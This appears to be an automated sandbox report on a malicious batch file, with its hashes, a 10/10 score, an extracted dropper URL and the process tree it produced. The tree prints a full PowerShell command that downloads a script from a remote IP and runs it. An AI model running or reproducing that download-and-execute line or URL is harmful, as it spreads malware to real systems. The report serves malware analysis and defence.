Analysis
-
max time kernel
144s -
max time network
72s -
platform
windows10_x64 -
resource
win10v200430 -
submitted
02-06-2020 10:10
Static task
static1
Behavioral task
behavioral1
Sample
b4c987a88b89ef8fa5c5aeba0b67be50.bat
Resource
win7v200430
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
b4c987a88b89ef8fa5c5aeba0b67be50.bat
Resource
win10v200430
windows10_x64
0 signatures
0 seconds
General
-
Target
b4c987a88b89ef8fa5c5aeba0b67be50.bat
-
Size
213B
-
MD5
4eb17a9cecc3bdbd9c5f740e178603f1
-
SHA1
2789a656216c376ff49aad51a0371dd670332170
-
SHA256
ce07460453840eb7611281737273b06d33142f8a78b30717f3a197de5471d2a7
-
SHA512
1c771152007dacdd546e9f365dfc5221ba89223e5ecf63d2f14865bd71d7df5030331d3d794db13db7e4fd26f9825a2b02ceba7972b92c9da9f2d920ede55023
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
ps1.dropper
http://185.103.242.78/pastes/b4c987a88b89ef8fa5c5aeba0b67be50
Signatures
-
Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 504 2004 WerFault.exe powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
WerFault.exedescription pid process Token: SeRestorePrivilege 504 WerFault.exe Token: SeBackupPrivilege 504 WerFault.exe Token: SeDebugPrivilege 504 WerFault.exe -
Suspicious behavior: EnumeratesProcesses 13 IoCs
Processes:
WerFault.exepid process 504 WerFault.exe 504 WerFault.exe 504 WerFault.exe 504 WerFault.exe 504 WerFault.exe 504 WerFault.exe 504 WerFault.exe 504 WerFault.exe 504 WerFault.exe 504 WerFault.exe 504 WerFault.exe 504 WerFault.exe 504 WerFault.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\b4c987a88b89ef8fa5c5aeba0b67be50.bat"1⤵PID:3832
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/b4c987a88b89ef8fa5c5aeba0b67be50');Invoke-SCAPEB;Start-Sleep -s 10000"2⤵PID:2004
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2004 -s 7043⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:504